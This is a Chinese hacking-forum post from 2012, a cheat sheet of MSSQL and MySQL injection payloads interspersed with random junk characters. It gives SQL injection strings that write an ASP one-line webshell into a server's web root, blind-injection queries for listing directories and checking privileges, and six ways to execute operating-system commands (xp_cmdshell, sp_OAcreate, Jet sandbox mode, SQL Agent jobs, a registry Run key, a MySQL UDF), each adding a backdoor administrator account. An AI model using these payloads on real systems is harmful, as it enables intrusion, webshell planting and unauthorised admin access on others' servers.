找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3024|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
) E+ K- w( j: r* y3 c首先确定网站的WEB路径6 O8 @, @; u0 \
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
  F4 `$ H! K3 o4 s3 H/ W7 a
9 F' H" m1 X6 p6 ]2 I;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
9 W4 l& _* ]7 Y- f//将一句话木马插入表中
( n  z9 i. j3 R- x/ m  ]: t- B2 I! K8 ]/ O
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
, Z3 W8 _- s! g0 `0 D//导出一个ASP文件
( M3 d$ o9 [0 z& `& ?0 x  v  I9 Z
# F: E5 X# [4 F) y# Z, l: _1 }
关于MSSQL列目录7 @  J2 g. u! w, `4 M" n+ r' r
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表! a% y/ S' B! v! Y3 V( T
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表: _; M& [; P8 P' l% j! g9 A
; B" w& o. u8 }* T. x& C
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
1 Z; {, z8 Y, x) T
4 }) f% }. O. G( M9 O9 GAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
" g( a3 G# F6 a% m  N# A: g- U( i8 r% X) u) F% E% L5 T  H
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
# m& C' }. T( A7 l% u
0 w" t. q8 P2 u5 `- u: y4 J# m0 a6 C8 T3 p: v/ Y3 t, V
数据库版本和权限查看
! I! j9 }; v$ J& ?8 f0 z* U, @and 1=(select @@VERSION) //查看详细的数据库信息.( x; J& I$ ], P, q) d1 \
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA- g! Y$ g) n' v/ K. J; {
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
! V1 E- {4 T& s( J% M; Z
' `/ S. b5 g( f( X
8 w( `" \' x8 c3 G; f( i" m1.利用xp_cmdshell执行命令* f* v+ t; c: r, g5 e, n
exec master..xp_cmdshell 'net user rfire 123456 /add'
' I# l% v7 a: y2 Mexec master..xp_cmdshell 'net localgroup administrators rfire /add'
  B" s5 O& a: F3 E8 U1 G, Q% z; ^, C+ ~" m
恢复xp_cmdshell存储过程
# ~6 u' K6 ~. x2 R& f. \6 C) iExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'. G0 ?' f# V& e& }' B

* }& w- U/ X0 p, V, E+ D, ~! E1 L' P3 W% o5 ~
2.利用SP_OAcreate和SP_OAMETHOD执行命令# b" c% h: d2 G" X
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
; i2 r' b( u# n# F& S8 Q0 M2 UDECLARE @shell INT //建立一个@shell实体
% r0 E8 i/ J" l# pEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
% x) K; [. b" `* j% y' }( ?4 Y; i% fEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例) R; \8 V- f  t1 ]5 O5 m7 q3 i% x% @
! v: j# l/ R) l$ V7 }7 B$ U

$ m5 b3 ?  {6 L$ _) I5 \3.利用沙盒模式
* P1 \- b% l' m* d; R7 p先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。& o: i8 G7 n( E% j
开启沙盒模式:
' {# V& M2 ]7 k4 \( b2 q/ _& X! AEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
1 N$ ^6 u) l* {6 J- K5 u- [* z6 p" E- C* t  `: [4 x
执行命令:
6 n# ]$ g( [/ R- p+ i3 ]Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');2 q! {# Y/ `: |1 Y$ Z

! c- A6 U- B2 G: S7 f2 G) O& F  p+ v# H; T$ M
4.利用SQL代理执行命令  h! f- F. h3 }
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
0 Y& @4 }$ o; I5 K& T. y# u2 Z; `, U- A" d- g) x% p' U
执行命令:
$ e  C: A+ \1 r: tuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
3 [" M) H% n% p& uexec sp_add_job 'x'
: q* q  I1 V0 Lexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
7 T2 G" k4 d2 _/ Fexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业2 g, L) k2 l! \( k9 c

% M! ]7 d8 E# G  z7 J- I0 s% `; Y
3 Z! u3 q5 W+ R/ P, U) y" u5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
1 ~3 q0 c( v! z) E4 b, E; g% `' IEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'  w1 \/ w& o$ {

- h" t% ?9 `: Q; L; w! H* g
# F4 K8 y6 q; j% s# ?6.MYSQL的命令执行
: |/ l- I  b! E2 V8 f; v5 aMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
! l0 C9 G4 O- K! J! ?7 K首先要在su.php下导出c:\windows\udf.dll1 v( h/ M, k* X; Z* z+ E; b
导出后执行创建自定义函数命令:
+ |+ n  K7 d2 n. I7 jCreate Function cmdshell returns string soname 'udf.dll'7 X) `! v+ Z: K, w3 Y
执行命令
- M; m% E2 J; t+ x& b: fselect cmdshell('net user rfire 123456 /add')
( p2 v. ]* J* ~7 o& }/ ?3 E; O/ u执行后删除函数 drop function cmdshell4 _5 U; z' o. w: ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表